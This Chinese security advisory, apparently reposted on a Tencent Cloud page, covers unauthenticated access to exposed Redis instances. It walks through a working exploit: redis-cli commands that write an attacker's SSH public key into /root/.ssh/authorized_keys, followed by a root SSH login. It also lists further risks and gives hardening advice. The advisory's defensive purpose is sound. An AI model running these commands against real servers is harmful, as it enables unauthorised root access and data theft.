1.更新情况
2.漏洞概述
Redis默认情况下,会绑定在0.0.0.0:6379,这样将会将Redis服务暴露到公网上,如果在没有开启认证的情况下,可以导致任意用户在可以访问目标服务器的情况下未授权访问Redis以及读取Redis的数据。攻击者在未授权访问Redis的情况下可以利用Redis的相关方法,可以成功在Redis服务器上写入公钥,进而可以使用对应私钥直接登录目标服务器。
2.1漏洞描述
Redis安全模型的观念是:“请不要将Redis暴露在公开网络中,因为让不受信任的客户接触到Redis是非常危险的”。
Redis作者之所以放弃解决未授权访问导致的不安全性是因为,99.99%使用Redis的场景都是在沙盒化的环境中,为了0.01%的可能性增加安全规则的同时也增加了复杂性,虽然这个问题的并不是不能解决的,但是这在他的设计哲学中仍是不划算的。
因为其他受信任用户需要使用Redis或者因为运维人员的疏忽等原因,部分Redis绑定在0.0.0.0:6379,并且没有开启认证(这是Redis的默认配置),如果没有进行采用相关的策略,比如添加防火墙规则避免其他非信任来源ip访问等,将会导致Redis服务直接暴露在公网上,导致其他用户可以直接在非授权情况下直接访问Redis服务并进行相关操作。
利用Redis自身的相关方法,可以进行写文件操作,攻击者可以成功将自己的公钥写入目标服务器的/root/.ssh文件夹的authotrized_keys文件中,进而可以直接登录目标服务器。
2.2漏洞影响
Redis暴露在公网(即绑定在0.0.0.0:6379,目标IP公网可访问),并且没有开启相关认证和添加相关安全策略情况下可受影响而导致被利用。
通过ZoomEye的搜索结果显示,有97707在公网可以直接访问的Redis服务。
根据ZoomEye的探测,全球无验证可直接利用Redis分布情况如下:
全球无验证可直接利用Redis TOP 10国家与地区:
2.3漏洞分析与利用
首先在本地生产公私钥文件:
$ssh-keygen –t rsa
然后将公钥写入foo.txt文件
$ (echo -e " "; cat id_rsa.pub; echo -e " ") > foo.txt
再连接Redis写入文件
$ cat foo.txt | redis-cli -h 192.168.1.11 -x set crackit $ redis-cli -h 192.168.1.11 $ 192.168.1.11:6379> config set dir /root/.ssh/ OK $ 192.168.1.11:6379> config get dir 1) "dir" 2) "/root/.ssh" $ 192.168.1.11:6379> config set dbfilename "authorized_keys" OK $ 192.168.1.11:6379> save OK
这样就可以成功的将自己的公钥写入/root/.ssh文件夹的authotrized_keys文件里,然后攻击者直接执行:
$ ssh –i id_rsa root@192.168.1.11
即可远程利用自己的私钥登录该服务器。
当然,写入的目录不限于/root/.ssh下的authorized_keys,也可以写入用户目录,不过Redis很多以root权限运行,所以写入root目录下,可以跳过猜用户的步骤。
2.4Redis未授权的其他危害与利用
2.4.1数据库数据泄露
Redis作为数据库,保存着各种各样的数据,如果存在未授权访问的情况,将会导致数据的泄露,其中包含保存的用户信息等。
2.4.2代码执行
Redis可以嵌套Lua脚本的特性将会导致代码执行,危害同其他服务器端的代码执行,样例如下
一旦攻击者能够在服务器端执行任意代码,攻击方式将会变得多且复杂,这是非常危险的.
通过Lua代码攻击者可以调用redis.sha1hex()函数,恶意利用Redis服务器进行SHA-1的破解。
2.4.3敏感信息泄露
通过Redis的INFO命令,可以查看服务器相关的参数和敏感信息,为攻击者的后续渗透做铺垫。
可以看到泄露了很多Redis服务器的信息,有当前Redis版本,内存运行状态,服务端个数等等敏感信息。
2.5漏洞验证
可以使用漏洞验证框架Pocsuite(http://github.com/knownsec/pocsuite)执行以下的代码可以用于测试目标地址是否存在未授权的Redis服务。
3.安全建议
1. 配置bind选项,限定可以连接Redis服务器的IP,修改Redis默认端口6379
2. 配置认证,也就是AUTH,设置密码,密码会以明文方式保存在Redis配置文件中
3. 配置rename-command 配置项 “RENAME_CONFIG”,这样即使存在未授权访问,也能够给攻击者使用config 指令加大难度
4. 好消息是Redis作者表示将会开发”real user”,区分普通用户和admin权限,普通用户将会被禁止运行某些命令,如config
* 作者:知道创宇安全研究团队(企业账号),转载请注明来自FreeBuf黑客与极客(FreeBuf.COM)
扫码关注腾讯云开发者
领取腾讯云代金券
Copyright © 2013 - 2025 Tencent Cloud. All Rights Reserved. 腾讯云 版权所有
深圳市腾讯计算机系统有限公司 ICP备案/许可证号:粤B2-20090059 深公网安备号 44030502008569
腾讯云计算(北京)有限责任公司 京ICP证150476号 | 京ICP备11018762号 | 京公网安备号11010802020287
Copyright © 2013 - 2025 Tencent Cloud.
All Rights Reserved. 腾讯云 版权所有